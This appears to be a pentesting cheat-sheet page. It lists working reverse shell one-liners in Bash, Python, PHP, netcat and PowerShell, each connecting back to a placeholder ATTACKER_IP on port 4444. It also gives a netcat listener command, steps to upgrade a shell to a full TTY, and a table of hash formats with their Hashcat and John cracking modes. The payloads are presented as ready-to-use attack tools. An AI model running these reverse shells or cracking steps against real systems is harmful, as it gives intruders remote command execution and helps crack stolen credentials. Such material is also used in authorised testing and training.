// kali linux & pentesting
// web application security
// ccna foundation

🐚

Reverse Shell One-Liners

Set up a listener first: nc -lvnp 4444

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash

# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z β†’ stty raw -echo; fg β†’ export TERM=xterm

Hash Types & Hashcat Modes

Hash TypeExampleHashcat -mJohn Format
MD55f4dcc3b5aa765d61d8327deb882cf990raw-md5
SHA-15baa61e4c9b93f3f0682250b6cf8331b7ee68fd8100raw-sha1
SHA-2565e884898da28047151d0e56f8...1400raw-sha256
SHA-512b109f3bbbc244eb82441917...1700raw-sha512
NTLM31d6cfe0d16ae931b73c59d7e0c089c01000nt
MD5crypt ($1$)$1$salt$hash500md5crypt
SHA-256crypt ($5$)$5$salt$hash7400sha256crypt
SHA-512crypt ($6$)$6$salt$hash1800sha512crypt
bcrypt ($2a$)$2a$12$...3200bcrypt
MySQL4*hash300mysql